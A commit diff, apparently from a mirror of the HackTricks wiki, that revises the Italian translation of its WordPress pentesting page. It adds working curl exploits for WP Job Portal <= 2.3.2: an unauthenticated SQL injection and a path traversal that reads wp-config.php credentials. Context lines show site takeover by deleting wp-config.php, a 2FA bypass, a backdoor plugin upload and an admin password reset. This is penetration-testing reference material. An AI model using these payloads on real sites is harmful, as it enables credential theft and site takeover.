mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
		
							parent
							
								
									1ca54d78c3
								
							
						
					
					
						commit
						9a280b5f92
					
				@ -99,7 +99,7 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
 | 
			
		||||
```bash
 | 
			
		||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 | 
			
		||||
```
 | 
			
		||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Saranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione**.
 | 
			
		||||
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Solo le informazioni sugli utenti che hanno abilitato questa funzione saranno fornite**.
 | 
			
		||||
 | 
			
		||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
 | 
			
		||||
 | 
			
		||||
@ -134,7 +134,7 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri
 | 
			
		||||
```
 | 
			
		||||
Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
 | 
			
		||||
 | 
			
		||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 | 
			
		||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -174,7 +174,7 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys
 | 
			
		||||
 | 
			
		||||
**Bypass 2FA**
 | 
			
		||||
 | 
			
		||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 | 
			
		||||
Questo metodo è destinato ai programmi e non agli esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 | 
			
		||||
 | 
			
		||||
**DDoS o scansione delle porte**
 | 
			
		||||
 | 
			
		||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
 | 
			
		||||
```
 | 
			
		||||
## Ottieni accesso sovrascrivendo un bit
 | 
			
		||||
 | 
			
		||||
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puoi cambiare 1 bit di qualsiasi file wordpress. Quindi puoi cambiare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
 | 
			
		||||
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puoi invertire 1 bit da qualsiasi file di wordpress. Quindi puoi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
 | 
			
		||||
```php
 | 
			
		||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 | 
			
		||||
return new WP_Error(
 | 
			
		||||
@ -269,7 +269,7 @@ to get a session.
 | 
			
		||||
### PHP plugin
 | 
			
		||||
 | 
			
		||||
Potrebbe essere possibile caricare file .php come plugin.\
 | 
			
		||||
Crea il tuo backdoor php utilizzando ad esempio:
 | 
			
		||||
Crea il tuo backdoor php usando ad esempio:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -281,11 +281,11 @@ Carica il plugin e premi Installa ora:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Clicca su Procedi:
 | 
			
		||||
Clicca su Prosegui:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Probabilmente questo non farà apparente nulla, ma se vai su Media, vedrai la tua shell caricata:
 | 
			
		||||
Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai la tua shell caricata:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -295,7 +295,7 @@ Accedila e vedrai l'URL per eseguire la reverse shell:
 | 
			
		||||
 | 
			
		||||
### Uploading and activating malicious plugin
 | 
			
		||||
 | 
			
		||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue:
 | 
			
		||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
 | 
			
		||||
 | 
			
		||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
 | 
			
		||||
2. **Plugin Installation**:
 | 
			
		||||
@ -307,18 +307,18 @@ Questo metodo prevede l'installazione di un plugin malevolo noto per essere vuln
 | 
			
		||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
 | 
			
		||||
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
 | 
			
		||||
 | 
			
		||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con esplicita autorizzazione.
 | 
			
		||||
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
 | 
			
		||||
 | 
			
		||||
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 | 
			
		||||
 | 
			
		||||
## From XSS to RCE
 | 
			
		||||
 | 
			
		||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
 | 
			
		||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una **vulnerabilità Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
 | 
			
		||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
 | 
			
		||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
 | 
			
		||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica un plugin integrato in WordPress.
 | 
			
		||||
- _**(RCE) Built-In Theme Edit:**_ Modifica un tema integrato in WordPress.
 | 
			
		||||
- _**(Custom) Custom Exploits:**_ Exploits personalizzati per plugin/temi di terze parti di WordPress.
 | 
			
		||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress.
 | 
			
		||||
 | 
			
		||||
## Post Exploitation
 | 
			
		||||
 | 
			
		||||
@ -330,15 +330,15 @@ Cambia la password dell'amministratore:
 | 
			
		||||
```bash
 | 
			
		||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
 | 
			
		||||
```
 | 
			
		||||
## Wordpress Plugins Pentest
 | 
			
		||||
## Pentest dei Plugin di Wordpress
 | 
			
		||||
 | 
			
		||||
### Attack Surface
 | 
			
		||||
### Superficie di Attacco
 | 
			
		||||
 | 
			
		||||
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 | 
			
		||||
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 | 
			
		||||
 | 
			
		||||
- **`wp_ajax`**
 | 
			
		||||
 | 
			
		||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
 | 
			
		||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
 | 
			
		||||
 | 
			
		||||
Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
 | 
			
		||||
```php
 | 
			
		||||
@ -411,7 +411,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 | 
			
		||||
-d 'action=litho_remove_font_family_action_data' \
 | 
			
		||||
-d 'fontfamily=../../../../wp-config.php'
 | 
			
		||||
```
 | 
			
		||||
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Eliminare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
 | 
			
		||||
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Cancellare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
 | 
			
		||||
 | 
			
		||||
Altri obiettivi impattanti includono file `.php` di plugin/tema (per compromettere i plugin di sicurezza) o regole `.htaccess`.
 | 
			
		||||
 | 
			
		||||
@ -448,7 +448,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 | 
			
		||||
 | 
			
		||||
## Protezione di WordPress
 | 
			
		||||
 | 
			
		||||
### Aggiornamenti Regolari
 | 
			
		||||
### Aggiornamenti regolari
 | 
			
		||||
 | 
			
		||||
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
 | 
			
		||||
```bash
 | 
			
		||||
@ -456,7 +456,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
 | 
			
		||||
add_filter( 'auto_update_plugin', '__return_true' );
 | 
			
		||||
add_filter( 'auto_update_theme', '__return_true' );
 | 
			
		||||
```
 | 
			
		||||
Anche, **installa solo plugin e temi WordPress affidabili**.
 | 
			
		||||
Also, **installa solo plugin e temi WordPress affidabili**.
 | 
			
		||||
 | 
			
		||||
### Plugin di Sicurezza
 | 
			
		||||
 | 
			
		||||
@ -468,12 +468,70 @@ Anche, **installa solo plugin e temi WordPress affidabili**.
 | 
			
		||||
 | 
			
		||||
- Rimuovi l'utente **admin** predefinito
 | 
			
		||||
- Usa **password forti** e **2FA**
 | 
			
		||||
- **Rivedi** periodicamente i **permessi** degli utenti
 | 
			
		||||
- **Rivedi** periodicamente i permessi degli utenti
 | 
			
		||||
- **Limita i tentativi di accesso** per prevenire attacchi di Brute Force
 | 
			
		||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
 | 
			
		||||
 | 
			
		||||
Il plugin di reclutamento WP Job Portal ha esposto un'attività **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
 | 
			
		||||
```php
 | 
			
		||||
$category  = WPJOBPORTALrequest::getVar('parentid');
 | 
			
		||||
$inquery   = ' ';
 | 
			
		||||
if ($category) {
 | 
			
		||||
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
 | 
			
		||||
}
 | 
			
		||||
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
 | 
			
		||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
 | 
			
		||||
```
 | 
			
		||||
Problemi introdotti da questo frammento:
 | 
			
		||||
 | 
			
		||||
1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP.
 | 
			
		||||
2. **Concatenazione di stringhe all'interno della clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / dichiarazione preparata.
 | 
			
		||||
3. **Accessibilità non autenticata** – anche se l'azione viene eseguita tramite `admin-post.php`, l'unico controllo presente è un **nonce CSRF** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
 | 
			
		||||
 | 
			
		||||
#### Sfruttamento
 | 
			
		||||
 | 
			
		||||
1. Ottieni un nonce fresco:
 | 
			
		||||
```bash
 | 
			
		||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
 | 
			
		||||
```
 | 
			
		||||
2. Inietta SQL arbitrario abusando di `parentid`:
 | 
			
		||||
```bash
 | 
			
		||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
 | 
			
		||||
-d 'task=savecategory' \
 | 
			
		||||
-d '_wpnonce=<nonce>' \
 | 
			
		||||
-d 'parentid=0 OR 1=1-- -' \
 | 
			
		||||
-d 'cat_title=pwn' -d 'id='
 | 
			
		||||
```
 | 
			
		||||
La risposta rivela il risultato della query iniettata o altera il database, dimostrando SQLi.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### Download di file arbitrari non autenticati / Traversata di percorso (WP Job Portal <= 2.3.2)
 | 
			
		||||
 | 
			
		||||
Un'altra attività, **downloadcustomfile**, consentiva ai visitatori di scaricare **qualsiasi file su disco** tramite traversata di percorso. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
 | 
			
		||||
```php
 | 
			
		||||
$file = $path . '/' . $file_name;
 | 
			
		||||
...
 | 
			
		||||
echo $wp_filesystem->get_contents($file); // raw file output
 | 
			
		||||
```
 | 
			
		||||
`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina del curriculum.
 | 
			
		||||
 | 
			
		||||
#### Sfruttamento
 | 
			
		||||
```bash
 | 
			
		||||
curl -G https://victim.com/wp-admin/admin-post.php \
 | 
			
		||||
--data-urlencode 'task=downloadcustomfile' \
 | 
			
		||||
--data-urlencode '_wpnonce=<nonce>' \
 | 
			
		||||
--data-urlencode 'upload_for=resume' \
 | 
			
		||||
--data-urlencode 'entity_id=1' \
 | 
			
		||||
--data-urlencode 'file_name=../../../wp-config.php'
 | 
			
		||||
```
 | 
			
		||||
Il server risponde con i contenuti di `wp-config.php`, rivelando le credenziali del DB e le chiavi di autenticazione.
 | 
			
		||||
 | 
			
		||||
## Riferimenti
 | 
			
		||||
 | 
			
		||||
- [Vulnerabilità di Cancellazione Arbitraria di File Non Autenticata nel Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
 | 
			
		||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -84,7 +84,7 @@ Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con molt
 | 
			
		||||
>
 | 
			
		||||
> - **Cosa devo fare se qualche pagina di HackTricks è basata sul mio post del blog ma non è citata?**
 | 
			
		||||
 | 
			
		||||
**Ci dispiace molto. Questo non avrebbe dovuto accadere**. Per favore, facci sapere tramite Github issues, Twitter, Discord... il link della pagina di HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo ASAP**.
 | 
			
		||||
**Ci dispiace molto. Questo non avrebbe dovuto accadere**. Per favore, facci sapere tramite Github issues, Twitter, Discord... il link della pagina di HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo il prima possibile**.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
>
 | 
			
		||||
@ -116,7 +116,7 @@ Copyright © Tutti i diritti riservati, salvo diversa indicazione.
 | 
			
		||||
 | 
			
		||||
#### Termini Aggiuntivi:
 | 
			
		||||
 | 
			
		||||
- Contenuto di Terzi: Alcune parti di questo blog/libro possono includere contenuti di altre fonti, come estratti di altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi di uso equo o con esplicita autorizzazione dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terzi.
 | 
			
		||||
- Contenuto di Terze Parti: Alcune parti di questo blog/libro possono includere contenuti di altre fonti, come estratti di altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi di uso equo o con esplicita autorizzazione dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terze parti.
 | 
			
		||||
- Autorialità: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Ti incoraggiamo ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
 | 
			
		||||
 | 
			
		||||
#### Esenzioni:
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user